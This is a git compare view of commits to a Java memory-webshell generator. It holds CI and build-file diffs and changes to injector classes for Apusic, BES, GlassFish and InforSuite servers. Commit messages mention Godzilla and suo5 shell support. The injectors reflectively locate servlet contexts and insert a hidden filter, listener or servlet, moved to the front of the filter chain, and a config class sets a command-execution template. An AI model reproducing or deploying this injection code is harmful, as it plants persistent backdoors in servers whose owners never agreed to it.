Compare commits

...
68 Commits
Author SHA1 Message Date
ReaJason a1f32c5bf2 chore: 2.4.2 2026-01-12 02:21:44 +08:00
ReaJason 6b10b3f56f chore: update libs 2026-01-12 02:12:34 +08:00
ReaJason 3e3d82218c docs: update changelog 2026-01-12 02:12:34 +08:00
ReaJason 202924aa54 fix: NPE 2026-01-12 02:12:34 +08:00
ReaJason 054e22bc3d fix: context not found test not work 2026-01-12 02:12:34 +08:00
ReaJason fa92930353 feat: support FilterProbe generate 2026-01-12 02:12:34 +08:00
ReaJason 52437d67be refactor: simplify code 2026-01-12 02:12:34 +08:00
ReaJason 117b48a9d0 feat: support servletNameFilter 2026-01-12 02:12:34 +08:00
ReaJason 3fe9a932ba feat: support servletNameFilter for WebLogicFilterProbe 2026-01-12 02:12:34 +08:00
ReaJason 1772c08f22 feat: support servletNameFilter for UndertowFilterProbe 2026-01-12 02:12:34 +08:00
ReaJason e44caeba1b feat: support servletNameFilter for GlassFishFilterProbe 2026-01-12 02:12:34 +08:00
ReaJason 4f080df85a feat: support servletNameFilter for JettyFilterProbe 2026-01-12 02:12:34 +08:00
ReaJason 7562469b44 feat: support servletNameFilter for TomcatFilterProbe 2026-01-12 02:12:34 +08:00
ReaJason 359931a881 chore: add libs git submodule 2026-01-12 02:12:34 +08:00
ReaJason 8c20f18c70 feat: support addFilterFirst for WebSphere 2026-01-12 02:12:34 +08:00
ReaJason dace117e73 feat: support filterProbe for WebLogic 2026-01-12 02:12:34 +08:00
ReaJason 5c0d26ae16 refactor: simplify WebLogic getContext 2026-01-12 02:12:34 +08:00
ReaJason 8e9d47bbea feat: support addFilterFirst for TongWeb 2026-01-12 02:12:34 +08:00
ReaJason c1f1802182 feat: support addFilterFirst for Apusic/InforSuite 2026-01-12 02:12:34 +08:00
ReaJason dc7958e123 refactor: use commonUtil for packageName 2026-01-12 02:12:34 +08:00
ReaJason d59bb9d29f fix: classNotFound 2026-01-12 02:12:34 +08:00
ReaJason 3e966f8fab feat: support addFilterFirst for GlassFish 2026-01-12 02:12:34 +08:00
ReaJason f940a528f0 test: add JBossAS filterProbe test 2026-01-12 02:12:34 +08:00
ReaJason 0b48dd64bd feat: support addFilterFirst for undertow 2026-01-12 02:12:34 +08:00
ReaJason bf213ae575 fix: undertow filter cache 2026-01-12 02:12:34 +08:00
ReaJason c8ede922b9 feat: support addFilterFirst for resin 2026-01-12 02:12:34 +08:00
ReaJason c0a059fbdc refactor: simplify code 2026-01-12 02:12:34 +08:00
ReaJason b4f8e62fc7 refactor: simplify code 2026-01-12 02:12:34 +08:00
ReaJason 1c0d65b353 feat: support addFilterFirst for jetty 2026-01-12 02:12:34 +08:00
ReaJason f26727e6fc test: support remote docker runner 2026-01-12 02:12:34 +08:00
ReaJason 2b1388c8eb test: add classes 2026-01-12 02:12:34 +08:00
ReaJason 9f7b4276e2 test: fix GlassFish filter 2026-01-12 02:12:34 +08:00
ReaJason b992e5f60e build: use pip mirror 2026-01-12 02:12:34 +08:00
ReaJason de69a63be5 chore: upgrade deps 2026-01-12 02:12:34 +08:00
ReaJason de462ae8b0 refactor: change method order 2026-01-12 02:12:34 +08:00
ReaJason d873dae8f3 feat: support addFilterFirst for tomcat 2026-01-12 02:12:34 +08:00
ReaJason 3e2fb861cd ci: test build on windows 2026-01-12 02:12:34 +08:00
ReaJason cbc71e5a52 feat: support open-liberty javaee 2026-01-12 02:12:34 +08:00
ReaJason ad8d2713ad docs: add WIP structure 2026-01-12 02:12:34 +08:00
ReaJason b04a34f1ab docs: add shellType table 2026-01-12 02:12:34 +08:00
ReaJason 2f325934e1 test: add more cases 2026-01-12 02:12:34 +08:00
ReaJason b47e437889 chore: 2.4.2-SNAPSHOT 2026-01-12 02:12:34 +08:00
ReaJason d1edb8fbdf fix: sub ui.data not found 2026-01-12 02:12:34 +08:00
ReaJason 7f176dd443 docs: update changelog 2025-12-16 21:59:39 +08:00
ReaJason 43c410e653 chore: 2.4.1 2025-12-16 21:56:18 +08:00
ReaJason b9efe6dac5 docs: update changelog 2025-12-16 21:55:21 +08:00
ReaJason 930edbc8b0 refactor: migrate radix-ui to base-ui 2025-12-16 21:55:21 +08:00
ReaJason 0f473311f9 docs: update 2025-12-16 21:55:21 +08:00
ReaJason b412e9206d fix: context not found in fr v11 2025-12-16 21:55:21 +08:00
ReaJason d9205aaff7 Revert "fix: close respOutputStream in finally"
This reverts commit 25e4086241.
2025-12-16 21:55:21 +08:00
ReaJason 4dda9236ca docs: add springweb intro 2025-12-16 21:55:21 +08:00
ReaJason 694e60bd23 docs: fix typo 2025-12-16 21:55:21 +08:00
ReaJason 25ffe5bb14 chore: upgrade deps 2025-12-16 21:55:21 +08:00
ReaJason e9265b52f5 style: format code 2025-12-16 21:55:21 +08:00
ReaJason e872e0cd06 feat: add tooltip for paramName 2025-12-16 21:55:21 +08:00
ReaJason b6219628ae feat: add tooltip for switch 2025-12-16 21:55:21 +08:00
ReaJason 0d1fab8740 docs: add more docs 2025-12-16 21:55:21 +08:00
ReaJason e9fb20fa07 fix: close respOutputStream in finally 2025-12-16 21:55:21 +08:00
ReaJason 97e365e935 docs: add more docs 2025-12-16 21:55:21 +08:00
ReaJason 75e3ed595a fix: shell connect failed due to empty body 2025-12-16 21:55:21 +08:00
ReaJason ab4ad88d6e fix: response body write failed when getOutputStream already called 2025-12-16 21:55:21 +08:00
ReaJason 9abea930b3 fix: throwable.printStackTrace not removed in debug off mode 2025-12-16 21:55:21 +08:00
ReaJason ab8773b177 docs: add memshell-core-config mdx 2025-12-16 21:55:21 +08:00
ReaJason 0de0efef9c chore: simplify deps 2025-12-16 21:55:21 +08:00
ReaJason 3d5851f3ae docs: add godzilla 2025-12-16 21:55:21 +08:00
ReaJason 9c298a2303 feat(ui): add image-zoom 2025-12-16 21:55:21 +08:00
zema1 b846f67c34 fix: close response outputstream in suo5v2 2025-12-14 18:45:58 +08:00
zema1 1e5f7dd281 feat: remove uneeded code 2025-12-14 18:45:58 +08:00
384 changed files with 16889 additions and 5820 deletions
+12 -3
View File
@@ -12,7 +12,10 @@ on:
jobs: jobs:
build-jar: build-jar:
name: Build Jar name: Build Jar
runs-on: ubuntu-latest strategy:
matrix:
os: [ubuntu-latest, windows-latest]
runs-on: ${{ matrix.os }}
steps: steps:
- uses: actions/checkout@v4 - uses: actions/checkout@v4
@@ -39,10 +42,16 @@ jobs:
working-directory: web working-directory: web
run: bun install --frozen-lockfile && bun run build run: bun install --frozen-lockfile && bun run build
- name: Build Boot with Gradle - name: Build Boot with Gradle (Linux)
if: matrix.os == 'ubuntu-latest'
run: ./gradlew :boot:test :boot:bootjar run: ./gradlew :boot:test :boot:bootjar
- name: Upload Boot Jar - name: Build Boot with Gradle (Windows)
if: matrix.os == 'windows-latest'
run: ./gradlew.bat :boot:test :boot:bootjar
- name: Upload Boot Jar (Linux)
if: matrix.os == 'ubuntu-latest'
uses: actions/upload-artifact@v4 uses: actions/upload-artifact@v4
with: with:
name: boot name: boot
+3
View File
@@ -0,0 +1,3 @@
[submodule "libs"]
path = libs
url = https://github.com/ReaJason/javaweb-sources.git
+1 -1
View File
@@ -2,7 +2,7 @@ FROM python:3.12-slim
WORKDIR /app WORKDIR /app
RUN pip install requests RUN pip install requests -i https://pypi.tuna.tsinghua.edu.cn/simple/
COPY neoreg.py . COPY neoreg.py .
+3 -1
View File
@@ -1,6 +1,6 @@
plugins { plugins {
id("java") id("java")
id("org.springframework.boot") version "3.5.7" id("org.springframework.boot") version "3.5.8"
id("io.spring.dependency-management") version "1.1.7" id("io.spring.dependency-management") version "1.1.7"
} }
@@ -21,6 +21,8 @@ configurations {
} }
} }
extra["byte-buddy.version"] = libs.versions.byte.buddy.get()
dependencies { dependencies {
implementation(project(":generator")) { implementation(project(":generator")) {
exclude(group = "commons-logging", module = "commons-logging") exclude(group = "commons-logging", module = "commons-logging")
@@ -2,9 +2,10 @@ package com.reajason.javaweb.boot.controller;
import jakarta.servlet.http.HttpServletRequest; import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse; import jakarta.servlet.http.HttpServletResponse;
import lombok.SneakyThrows;
import lombok.extern.slf4j.Slf4j; import lombok.extern.slf4j.Slf4j;
import org.springframework.core.io.ClassPathResource; import org.springframework.core.io.ClassPathResource;
import org.springframework.http.MediaType; import org.springframework.http.ResponseEntity;
import org.springframework.stereotype.Controller; import org.springframework.stereotype.Controller;
import org.springframework.util.FileCopyUtils; import org.springframework.util.FileCopyUtils;
import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.GetMapping;
@@ -34,23 +35,18 @@ public class ViewController {
return renderFileData(relativePath, response); return renderFileData(relativePath, response);
} }
@GetMapping({"/ui/docs/*.data", "/ui/*.data"})
@ResponseBody
public String handleDataFile(HttpServletRequest request, HttpServletResponse response) throws IOException {
String fullPath = request.getRequestURI().replace(request.getContextPath(), "");
String relativePath = fullPath.substring(4);
return renderFileData(relativePath, response);
}
@GetMapping("/ui/**") @GetMapping("/ui/**")
public String handleHtmlView(HttpServletRequest request) { @SneakyThrows
public Object handleView(HttpServletRequest request, HttpServletResponse response) {
String fullPath = request.getRequestURI().replace(request.getContextPath(), ""); String fullPath = request.getRequestURI().replace(request.getContextPath(), "");
if ("/ui".equals(fullPath) || "/ui/".equals(fullPath)) { if ("/ui".equals(fullPath) || "/ui/".equals(fullPath)) {
return "index"; return "index";
} }
String viewPath = fullPath.substring(4); String docPath = fullPath.substring(4);
return viewPath + "/index"; if (docPath.endsWith(".data")) {
return ResponseEntity.ok(renderFileData(docPath, response));
}
return docPath + "/index";
} }
private String renderFileData(String relativePath, HttpServletResponse response) { private String renderFileData(String relativePath, HttpServletResponse response) {
@@ -61,8 +57,6 @@ public class ViewController {
response.setStatus(HttpServletResponse.SC_NOT_FOUND); response.setStatus(HttpServletResponse.SC_NOT_FOUND);
return "File not found: " + relativePath; return "File not found: " + relativePath;
} }
response.setContentType(MediaType.TEXT_PLAIN_VALUE);
response.setCharacterEncoding("UTF-8");
InputStreamReader reader = new InputStreamReader( InputStreamReader reader = new InputStreamReader(
resource.getInputStream(), resource.getInputStream(),
StandardCharsets.UTF_8 StandardCharsets.UTF_8
+1 -1
View File
@@ -7,5 +7,5 @@ repositories {
} }
dependencies { dependencies {
implementation("com.vanniktech:gradle-maven-publish-plugin:0.34.0") implementation("com.vanniktech:gradle-maven-publish-plugin:0.35.0")
} }
@@ -3,7 +3,7 @@ plugins {
} }
mavenPublishing { mavenPublishing {
publishToMavenCentral(true) publishToMavenCentral()
signAllPublications() signAllPublications()
coordinates( coordinates(
"io.github.reajason", "io.github.reajason",
+1 -1
View File
@@ -9,7 +9,7 @@ idea {
} }
} }
version = "2.4.0" version = "2.4.2"
tasks.register("publishAllToMavenCentral") { tasks.register("publishAllToMavenCentral") {
dependsOn(":memshell-party-common:publishToMavenCentral") dependsOn(":memshell-party-common:publishToMavenCentral")
+4 -5
View File
@@ -1,5 +1,5 @@
plugins { plugins {
id("java") id("java-library")
alias(libs.plugins.lombok) alias(libs.plugins.lombok)
id("maven-publish-convention") id("maven-publish-convention")
} }
@@ -29,17 +29,16 @@ tasks.test {
dependencies { dependencies {
implementation(project(":memshell-party-common")) implementation(project(":memshell-party-common"))
implementation(project(":packer")) implementation(project(":packer"))
implementation(libs.byte.buddy) api(libs.byte.buddy)
implementation(libs.asm.commons) implementation(libs.asm.commons)
implementation(libs.javax.websocket.api) implementation(libs.javax.websocket.api)
implementation(libs.javax.servlet.api) implementation(libs.javax.servlet.api)
implementation(libs.spring.webmvc) implementation(libs.spring.webmvc)
implementation(libs.spring.webflux) implementation(libs.spring.webflux)
implementation(libs.reactor.netty.core) implementation(libs.reactor.netty.core)
implementation(libs.jackson.annotations)
implementation(libs.bundles.jna) implementation(libs.bundles.jna)
implementation(libs.bcel)
implementation(libs.jackson.databind)
testImplementation(libs.junit.jupiter) testImplementation(libs.junit.jupiter)
testImplementation(libs.hamcrest) testImplementation(libs.hamcrest)
testRuntimeOnly(libs.junit.platform.launcher) testRuntimeOnly(libs.junit.platform.launcher)
@@ -35,7 +35,7 @@ public class CommandConfig extends ShellToolConfig {
private ImplementationClass implementationClass = ImplementationClass.RuntimeExec; private ImplementationClass implementationClass = ImplementationClass.RuntimeExec;
/** /**
* 命令执行模板,例如 sh -c "{command}" 2>&1使用 {command} 作为占位符 * 命令执行模板,使用 {command} 作为占位符
*/ */
private String template; private String template;
@@ -22,8 +22,8 @@ public final class ProcessorRegistry {
); );
private static final List<Processor<byte[]>> BYTE_PROCESSORS = Arrays.asList( private static final List<Processor<byte[]>> BYTE_PROCESSORS = Arrays.asList(
new ShrinkPostProcessor(), new JettyHandlerPostProcessor(),
new JettyHandlerPostProcessor() new ShrinkPostProcessor()
); );
private ProcessorRegistry() { private ProcessorRegistry() {
@@ -8,6 +8,7 @@ import java.lang.reflect.Array;
import java.lang.reflect.Field; import java.lang.reflect.Field;
import java.lang.reflect.Method; import java.lang.reflect.Method;
import java.util.HashSet; import java.util.HashSet;
import java.util.LinkedHashSet;
import java.util.Map; import java.util.Map;
import java.util.Set; import java.util.Set;
import java.util.zip.GZIPInputStream; import java.util.zip.GZIPInputStream;
@@ -43,7 +44,7 @@ public class ApusicFilterInjector {
} catch (Throwable throwable) { } catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable); msg += "context error: " + getErrorMessage(throwable);
} }
if (contexts == null) { if (contexts == null || contexts.isEmpty()) {
msg += "context not found"; msg += "context not found";
} else { } else {
for (Object context : contexts) { for (Object context : contexts) {
@@ -80,7 +81,7 @@ public class ApusicFilterInjector {
/** /**
* context: com.apusic.web.container.WebContainer * context: com.apusic.web.container.WebContainer
* context -> webapp: com.apusic.deploy.runtime.WebModule * context - webapp: com.apusic.deploy.runtime.WebModule
* /usr/local/ass/lib/apusic.jar * /usr/local/ass/lib/apusic.jar
*/ */
public Set<Object> getContext() throws Exception { public Set<Object> getContext() throws Exception {
@@ -145,7 +146,12 @@ public class ApusicFilterInjector {
Object filterMapping = filterMappingClass.newInstance(); Object filterMapping = filterMappingClass.newInstance();
invokeMethod(filterMapping, "setUrlPattern", new Class[]{String.class}, new Object[]{getUrlPattern()}); invokeMethod(filterMapping, "setUrlPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
invokeMethod(filterMapping, "setFilterName", new Class[]{String.class}, new Object[]{getClassName()}); invokeMethod(filterMapping, "setFilterName", new Class[]{String.class}, new Object[]{getClassName()});
invokeMethod(webModule, "addBeforeFilterMapping", new Class[]{filterMappingClass}, new Object[]{filterMapping}); LinkedHashSet beforeFilterMappings = (LinkedHashSet) getFieldValue(webModule, "beforeFilterMappings");
LinkedHashSet newSet = new LinkedHashSet();
newSet.add(filterMapping);
newSet.addAll(beforeFilterMappings);
beforeFilterMappings.clear();
beforeFilterMappings.addAll(newSet);
// addFilterModel // addFilterModel
invokeMethod(webModule, "addFilter", new Class[]{String.class, String.class}, new Object[]{getClassName(), getClassName()}); invokeMethod(webModule, "addFilter", new Class[]{String.class, String.class}, new Object[]{getClassName(), getClassName()});
@@ -218,30 +224,25 @@ public class ApusicFilterInjector {
} }
@SuppressWarnings("all") @SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) { public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
try { Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass(); Method method = null;
Method method = null; while (clazz != null && method == null) {
while (clazz != null && method == null) { try {
try { if (paramClazz == null) {
if (paramClazz == null) { method = clazz.getDeclaredMethod(methodName);
method = clazz.getDeclaredMethod(methodName); } else {
} else { method = clazz.getDeclaredMethod(methodName, paramClazz);
method = clazz.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
} }
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
} }
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
} catch (Exception e) {
throw new RuntimeException("Error invoking method: " + methodName, e);
} }
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
} }
@SuppressWarnings("all") @SuppressWarnings("all")
@@ -40,7 +40,7 @@ public class ApusicListenerInjector {
} catch (Throwable throwable) { } catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable); msg += "context error: " + getErrorMessage(throwable);
} }
if (contexts == null) { if (contexts == null || contexts.isEmpty()) {
msg += "context not found"; msg += "context not found";
} else { } else {
for (Object context : contexts) { for (Object context : contexts) {
@@ -197,30 +197,25 @@ public class ApusicListenerInjector {
} }
@SuppressWarnings("all") @SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) { public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
try { Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass(); Method method = null;
Method method = null; while (clazz != null && method == null) {
while (clazz != null && method == null) { try {
try { if (paramClazz == null) {
if (paramClazz == null) { method = clazz.getDeclaredMethod(methodName);
method = clazz.getDeclaredMethod(methodName); } else {
} else { method = clazz.getDeclaredMethod(methodName, paramClazz);
method = clazz.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
} }
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
} }
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
} catch (Exception e) {
throw new RuntimeException("Error invoking method: " + methodName, e);
} }
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
} }
@SuppressWarnings("all") @SuppressWarnings("all")
@@ -40,7 +40,7 @@ public class ApusicServletInjector {
} catch (Throwable throwable) { } catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable); msg += "context error: " + getErrorMessage(throwable);
} }
if (contexts == null) { if (contexts == null || contexts.isEmpty()) {
msg += "context not found"; msg += "context not found";
} else { } else {
for (Object context : contexts) { for (Object context : contexts) {
@@ -198,30 +198,25 @@ public class ApusicServletInjector {
} }
@SuppressWarnings("all") @SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) { public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
try { Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass(); Method method = null;
Method method = null; while (clazz != null && method == null) {
while (clazz != null && method == null) { try {
try { if (paramClazz == null) {
if (paramClazz == null) { method = clazz.getDeclaredMethod(methodName);
method = clazz.getDeclaredMethod(methodName); } else {
} else { method = clazz.getDeclaredMethod(methodName, paramClazz);
method = clazz.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
} }
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
} }
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
} catch (Exception e) {
throw new RuntimeException("Error invoking method: " + methodName, e);
} }
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
} }
@SuppressWarnings("all") @SuppressWarnings("all")
@@ -40,7 +40,7 @@ public class BesFilterInjector {
} catch (Throwable throwable) { } catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable); msg += "context error: " + getErrorMessage(throwable);
} }
if (contexts == null) { if (contexts == null || contexts.isEmpty()) {
msg += "context not found"; msg += "context not found";
} else { } else {
for (Object context : contexts) { for (Object context : contexts) {
@@ -105,7 +105,7 @@ public class BesFilterInjector {
return contexts; return contexts;
} }
private ClassLoader getWebAppClassLoader(Object context) { private ClassLoader getWebAppClassLoader(Object context) throws Exception {
try { try {
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null)); return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
} catch (Exception e) { } catch (Exception e) {
@@ -218,30 +218,25 @@ public class BesFilterInjector {
} }
@SuppressWarnings("all") @SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) { public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
try { Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass(); Method method = null;
Method method = null; while (clazz != null && method == null) {
while (clazz != null && method == null) { try {
try { if (paramClazz == null) {
if (paramClazz == null) { method = clazz.getDeclaredMethod(methodName);
method = clazz.getDeclaredMethod(methodName); } else {
} else { method = clazz.getDeclaredMethod(methodName, paramClazz);
method = clazz.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
} }
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
} }
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
} catch (Exception e) {
throw new RuntimeException("Error invoking method: " + methodName, e);
} }
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
} }
@SuppressWarnings("all") @SuppressWarnings("all")
@@ -36,7 +36,7 @@ public class BesListenerInjector {
} catch (Throwable throwable) { } catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable); msg += "context error: " + getErrorMessage(throwable);
} }
if (contexts == null) { if (contexts == null || contexts.isEmpty()) {
msg += "context not found"; msg += "context not found";
} else { } else {
for (Object context : contexts) { for (Object context : contexts) {
@@ -35,7 +35,7 @@ public class BesValveInjector {
} catch (Throwable throwable) { } catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable); msg += "context error: " + getErrorMessage(throwable);
} }
if (contexts == null) { if (contexts == null || contexts.isEmpty()) {
msg += "context not found"; msg += "context not found";
} else { } else {
for (Object context : contexts) { for (Object context : contexts) {
@@ -7,7 +7,10 @@ import java.io.PrintStream;
import java.lang.reflect.Constructor; import java.lang.reflect.Constructor;
import java.lang.reflect.Field; import java.lang.reflect.Field;
import java.lang.reflect.Method; import java.lang.reflect.Method;
import java.util.*; import java.util.HashSet;
import java.util.List;
import java.util.Map;
import java.util.Set;
import java.util.zip.GZIPInputStream; import java.util.zip.GZIPInputStream;
/** /**
@@ -40,7 +43,7 @@ public class GlassFishFilterInjector {
} catch (Throwable throwable) { } catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable); msg += "context error: " + getErrorMessage(throwable);
} }
if (contexts == null) { if (contexts == null || contexts.isEmpty()) {
msg += "context not found"; msg += "context not found";
} else { } else {
for (Object context : contexts) { for (Object context : contexts) {
@@ -126,15 +129,18 @@ public class GlassFishFilterInjector {
} }
Object filterDef; Object filterDef;
Object filterMap; Object filterMap;
Class<?> filterMapClass;
ClassLoader contextClassLoader = context.getClass().getClassLoader(); ClassLoader contextClassLoader = context.getClass().getClassLoader();
try { try {
// tomcat v8+ // tomcat v8+
filterDef = contextClassLoader.loadClass("org.apache.tomcat.util.descriptor.web.FilterDef").newInstance(); filterDef = contextClassLoader.loadClass("org.apache.tomcat.util.descriptor.web.FilterDef").newInstance();
filterMap = contextClassLoader.loadClass("org.apache.tomcat.util.descriptor.web.FilterMap").newInstance(); filterMapClass = contextClassLoader.loadClass("org.apache.tomcat.util.descriptor.web.FilterMap");
filterMap = filterMapClass.newInstance();
} catch (Exception e2) { } catch (Exception e2) {
// tomcat v5+ // tomcat v5+
filterDef = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterDef").newInstance(); filterDef = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterDef").newInstance();
filterMap = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterMap").newInstance(); filterMapClass = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterMap");
filterMap = filterMapClass.newInstance();
} }
invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{getClassName()}); invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{getClassName()});
@@ -145,19 +151,16 @@ public class GlassFishFilterInjector {
} }
invokeMethod(context, "addFilterDef", new Class[]{filterDef.getClass()}, new Object[]{filterDef}); invokeMethod(context, "addFilterDef", new Class[]{filterDef.getClass()}, new Object[]{filterDef});
invokeMethod(filterMap, "setFilterName", new Class[]{String.class}, new Object[]{getClassName()}); invokeMethod(filterMap, "setFilterName", new Class[]{String.class}, new Object[]{getClassName()});
Constructor<?>[] constructors;
try { try {
invokeMethod(filterMap, "addURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()}); invokeMethod(filterMap, "addURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
} catch (Exception e) { } catch (Exception e) {
// tomcat v5 // tomcat v5
invokeMethod(filterMap, "setURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()}); invokeMethod(filterMap, "setURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
} }
try {
// v7.0.0 以上 // addFilterMapFirst
invokeMethod(context, "addFilterMapBefore", new Class[]{filterMap.getClass()}, new Object[]{filterMap}); List filterMaps = (List) invokeMethod(context, "findFilterMaps", null, null);
} catch (Exception e) { filterMaps.add(0, filterMap);
invokeMethod(context, "addFilterMap", new Class[]{filterMap.getClass()}, new Object[]{filterMap});
}
Constructor filterConfigConstructor; Constructor filterConfigConstructor;
filterConfigConstructor = contextClassLoader.loadClass("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructors()[0]; filterConfigConstructor = contextClassLoader.loadClass("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructors()[0];
@@ -228,21 +231,39 @@ public class GlassFishFilterInjector {
} }
@SuppressWarnings("all") @SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws Exception { public static Field getField(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
Class<?> clazz = obj.getClass(); for (Class<?> clazz = obj.getClass();
while (clazz != Object.class) { clazz != Object.class;
clazz = clazz.getSuperclass()) {
try { try {
Field field = clazz.getDeclaredField(name); return clazz.getDeclaredField(name);
field.setAccessible(true); } catch (NoSuchFieldException ignored) {
return field.get(obj);
} catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
} }
} }
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name); throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
} }
@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
try {
Field field = getField(obj, name);
field.setAccessible(true);
return field.get(obj);
} catch (NoSuchFieldException ignored) {
}
return null;
}
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
Field field = getField(obj, fieldName);
field.setAccessible(true);
field.set(obj, value);
}
@SuppressWarnings("all") @SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) { private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null; PrintStream printStream = null;
@@ -36,7 +36,7 @@ public class GlassFishValveInjector {
} catch (Throwable throwable) { } catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable); msg += "context error: " + getErrorMessage(throwable);
} }
if (contexts == null) { if (contexts == null || contexts.isEmpty()) {
msg += "context not found"; msg += "context not found";
} else { } else {
for (Object context : contexts) { for (Object context : contexts) {
@@ -4,11 +4,11 @@ import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream; import java.io.ByteArrayOutputStream;
import java.io.IOException; import java.io.IOException;
import java.io.PrintStream; import java.io.PrintStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor; import java.lang.reflect.Constructor;
import java.lang.reflect.Field; import java.lang.reflect.Field;
import java.lang.reflect.Method; import java.lang.reflect.Method;
import java.util.*; import java.util.*;
import java.util.logging.Logger;
import java.util.zip.GZIPInputStream; import java.util.zip.GZIPInputStream;
/** /**
@@ -41,7 +41,7 @@ public class InforSuiteFilterInjector {
} catch (Throwable throwable) { } catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable); msg += "context error: " + getErrorMessage(throwable);
} }
if (contexts == null) { if (contexts == null || contexts.isEmpty()) {
msg += "context not found"; msg += "context not found";
} else { } else {
for (Object context : contexts) { for (Object context : contexts) {
@@ -95,7 +95,7 @@ public class InforSuiteFilterInjector {
return contexts; return contexts;
} }
private ClassLoader getWebAppClassLoader(Object context) { private ClassLoader getWebAppClassLoader(Object context) throws Exception {
try { try {
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null)); return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
} catch (Exception e) { } catch (Exception e) {
@@ -128,17 +128,28 @@ public class InforSuiteFilterInjector {
} }
ClassLoader contextClassLoader = context.getClass().getClassLoader(); ClassLoader contextClassLoader = context.getClass().getClassLoader();
Object filterDef = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterDef").newInstance(); Object filterDef = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterDef").newInstance();
